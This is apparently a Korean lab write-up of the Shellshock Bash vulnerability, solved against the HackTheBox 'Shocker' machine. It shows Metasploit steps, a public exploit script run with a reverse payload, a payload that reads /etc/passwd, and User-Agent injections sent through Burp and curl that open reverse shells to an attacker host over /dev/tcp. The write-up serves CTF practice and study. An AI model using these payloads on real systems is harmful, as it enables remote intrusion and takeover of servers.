셸쇼크 | Shellshock | CVE-2014-627*
개념
Unix Bash가 환경변수를 통해 임의의 명령을 실행할 수 있는 취약점 (RCE) = command injection vulnerability
발생 원인
Bash가 variable assignment를 처리하는 방식에서 취약점이 발생한다.
Bash의 쉘 환경 변수를 '() { :;};' 와 같이 함수 형태로 등록할 때 함수 선언 끝에 오는 명령어를 실행할 수 있다.
ex) env x=() { :;}; /bin/bash -c 'id; echo; cat /etc/passwd;'
실습 - ( HTB "Shocker" )
0. 타겟 머신 설명
- Shocker는 Apache 서버를 사용하고 있다.
- Shocker 에서는 /cgi-bin 디렉터리가 있다.
- /cgi-bin 경로에는 uptime 명령을 실행하는 CGI bash스크립트인 user.sh 스크립트가 있다.
Shell shock 취약점을 이용하여 exploit 해보자 !
1. Metasploit
msfconsole -q
search shellshock
use 1
options
set targeturi /cgi-bin/user.sh
set rhost 10.10.10.56
set lhost 10.10.14.12 (kali IP)
run
shell
/bin/bash -i : 쉘 형태 바꿔주기
whoami
2. Without Metasploit
2.1. CVE 2014-6278 2014-6271
searchsploit shell shock
searchsploit -m 34900
34900.py 코드를 살펴보자.
python2 34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.12 lport=4445 pages=/cgi-bin/user.sh
2.2. burpsuite
User-Agent 헤더는 서버로 전송되어 서버의 환경변수에 저장된다.
User-Agent 헤더에 command injection을 해보자.
리버스 셸 연결을 할 거니까 미리 "nc -nvlp 4444"로 리스너 열어주기!
리버스 셸 코드 생성해주는 도구를 사용하자.
bash -c 'exec bash -i &>/dev/tcp/10.10.14.12/4444 <&1'
약간 변형해서
() { :;}; /bin/bash -i &>/dev/tcp/10.10.14.12/4444 <&1
34900.py 코드 참고해서 작성
() { :;}; /bin/bash -c /bin/bash -i >&/dev/tcp/10.10.14.12/4445 0>&1 &
2.3. cURL & Netcat
curl는 command line 기반의 웹 요청 도구이며, http, https, ftp, smtp 등 다양한 프로토콜과 Proxy, Header, Cookie 등 세부 옵션까지 설정하여 요청을 보낼 수 있다.
-H 옵션을 통해 User-Agent header를 설정할 수 있다.
curl -H 'User-Agent: () { :;}; /bin/bash -i &>/dev/tcp/10.10.14.12/5555 <&1' http://10.10.10.56/cgi-bin/user.sh
* 이 문제에서 특이점
- echo; 를 해주고 명령어를 써줘야 한다.
내 생각에 Cotent-Length: 137 밑에 빈 줄이 하나 있어서 그거 맞춰주는게 아닐까? echo;를 안하면 Server error 뜬다.
- pwd 외에 다른 명령어 실행 결과가 안 나오는 것
- /bin/bash -c ' '&
' ' 안에 명령어 넣고, & 백그라운드로 실행하게 하면 임의의 명령어 모두 실행할 수 있다.
잘못된 부분이 있을 수 있습니다 !! 부족한 점은 댓글로 피드백 바랍니다 :)